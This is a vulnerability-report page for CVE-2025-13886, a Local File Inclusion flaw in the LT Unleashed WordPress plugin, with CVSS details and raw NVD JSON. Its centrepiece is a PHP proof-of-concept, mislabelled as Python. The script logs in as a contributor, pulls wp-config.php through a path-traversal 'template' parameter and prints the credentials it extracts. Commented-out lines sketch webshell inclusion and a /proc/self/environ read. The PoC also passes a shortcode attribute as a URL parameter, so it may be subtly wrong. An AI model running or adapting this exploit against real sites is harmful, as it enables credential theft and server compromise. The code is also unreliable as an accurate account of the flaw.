Security Vulnerability Report
中文
CVE-2025-13886 CVSS 7.5 HIGH

CVE-2025-13886

Published: 2025-12-12 03:15:52
Last Modified: 2026-04-15 00:35:42

Description

The LT Unleashed plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 1.1.1 via the 'template' parameter in the `book` shortcode due to insufficient path sanitization. This makes it possible for authenticated attackers, with Contributor-level access and above, to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where files such as wp-config.php can be included.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

LT Unleashed plugin for WordPress <= 1.1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php // CVE-2025-13886 PoC - LT Unleashed Local File Inclusion // Requirements: Contributor-level access or higher on WordPress $target = 'http://target-wordpress-site.com'; $wp_user = 'attacker_username'; $wp_pass = 'attacker_password'; // Authentication $login_url = "$target/wp-login.php"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $login_url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, [ 'log' => $wp_user, 'pwd' => $wp_pass, 'wp-submit' => 'Log In' ]); curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_exec($ch); // Method 1: Read wp-config.php $exploit_url = "$target/?p=1&template=../../wp-config"; curl_setopt($ch, CURLOPT_URL, $exploit_url); curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt'); $response = curl_exec($ch); echo "[+] Retrieved wp-config.php contents:\n"; if (preg_match_all('/define\s*\(\s*[\'"](.*?)[\'"]\s*,\s*[\'"](.*?)[\'"]\s*\)/', $response, $matches)) { foreach ($matches[1] as $i => $key) { echo "$key = " . $matches[2][$i] . "\n"; } } // Method 2: Include webshell for RCE (if writable file exists) // First, upload a file with malicious content, then include it: // $webshell_url = "$target/?p=1&template=../../uploads/webshell"; // curl_setopt($ch, CURLOPT_URL, $webshell_url); // $response = curl_exec($ch); // Method 3: Use /proc/self/environ (in certain shared hosting environments) // $proc_url = "$target/?p=1&template=/proc/self/environ"; // curl_setopt($ch, CURLOPT_URL, $proc_url); // $response = curl_exec($ch); curl_close($ch); echo "\n[+] Exploitation complete. Check retrieved data for credentials."; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13886", "sourceIdentifier": "[email protected]", "published": "2025-12-12T03:15:52.287", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The LT Unleashed plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 1.1.1 via the 'template' parameter in the `book` shortcode due to insufficient path sanitization. This makes it possible for authenticated attackers, with Contributor-level access and above, to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where files such as wp-config.php can be included."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/lt-unleashed/tags/1.1.1/lt-unleashed.php#L315", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/lt-unleashed/trunk/lt-unleashed.php#L241", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/lt-unleashed/trunk/lt-unleashed.php#L315", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c72099cc-e70a-4afe-92c0-8f9f8c1e91b7?source=cve", "source": "[email protected]"}]}}